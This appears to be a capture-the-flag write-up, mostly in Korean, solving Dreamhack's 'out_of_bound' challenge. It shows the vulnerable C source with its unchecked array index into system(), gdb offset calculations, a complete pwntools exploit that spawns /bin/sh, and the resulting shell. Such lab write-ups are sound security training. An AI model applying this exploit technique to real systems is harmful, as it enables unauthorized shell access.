

[Dreamhack.io] out of bound Write-Up

- Platform: Dreamhack
- Date: 2026-07-23 (solved) / 2026-08-21 (written)
- Difficulty: Easy
- Tags: #pwn #out_of_bound

1. Challenge Overview (문제 개요)

📄 문제 요약

- 목표: Flag 획득 (/flag 읽기 또는 `execve` 셸 획득)
- 제공 파일: `out_of_bound`, `out_of_bound.c`
- 보호 기법 (Checksec):

```
Ubuntu 16.04
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

2. Vulnerability Analysis (취약점 분석)

소스 코드 / 디컴파일 분석

```
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
```

```

    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

```

취약점 원인 (Root Cause)

- **발생 원인:** `scanf` 를 통해 입력받은 값에 대한 배열 범위 검증이 없음 (Out of Bound)
- **파급 효과:** 배열 범위가 아닌 다른 위치 메모리에 접근 가능 (음수/양수 이동 가능)

3. Exploit Strategy (최종 해결 전략)

✓ 돌파구 (Breakthrough)

`idx` 변수를 통해 다른 메모리에 접근이 가능하므로, `name` 배열에 접근을 하게 한다. 이때, `name` 배열은 `"/bin/sh"` 문자열의 주소를 가지고 있어야 한다.

전역 변수 저장 위치

- 전역 변수의 경우, 초기화되어 있지 않으면 `.bss` 영역, 되어 있다면 `.data` 영역에 저장이 된다.
- 프로그램 전체나 라이브러리 같은 다른 소스 파일에서 전역 변수를 읽어서 사용해야 하는 경우가 생길 수 있으므로, 변수의 이름을 심볼 테이블 (`.symtab`)에 이름과 주소가 기록된다.

=> 파이썬 pwntools 을 통해 해당 변수의 주소를 가지고 올 수 있게 된다.

페이로드

- 총 16바이트 크기의 `name` 변수를 각각 다음과 같이 설정한다.
 - `name ~ name+3` : `name+4` 의 주소
 - `name+4 ~ name+10` : `"/bin/sh"` 문자열
- `command[idx]` 가 `name` 이 되게끔 `idx` 를 입력한다.
- `name` 위치에는 `name+4` 주소가 저장되어 있으므로, 결국 `system("/bin/sh")` 이 실행된다.

name 과 command 오프셋 구하기

- gdb를 통해 두 개의 주소를 구하면 다음과 같다.

```
pwndbg> p &name
$3 = (<data variable, no debug info> *) 0x804a0ac <name>
pwndbg> p &command
$4 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> |
```

- 두 변수는 `0x804a0ac - 0x804a060 = 0x4C` 바이트만큼 떨어져 있다.
- `command` 변수는 4바이트씩 저장되므로, `idx` 가 19이면 `&command[idx] = &name` 이다.

5. Exploit Code (최종 코드)

```
from pwn import *

# p = remote('IP', PORT)
p = process('./out_of_bound')
e = ELF('./out_of_bound')

name_addr = e.symbols['name']

payload = p32(name_addr + 0x4) + b'/bin/sh\x00'

p.sendlineafter(b': ', payload)

p.sendlineafter(b': ', b'19')

p.interactive()
```

- 로컬 환경에서 실행한 결과이다.

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
$ ls
out_of_bound out_of_bound.c solve.py
$
```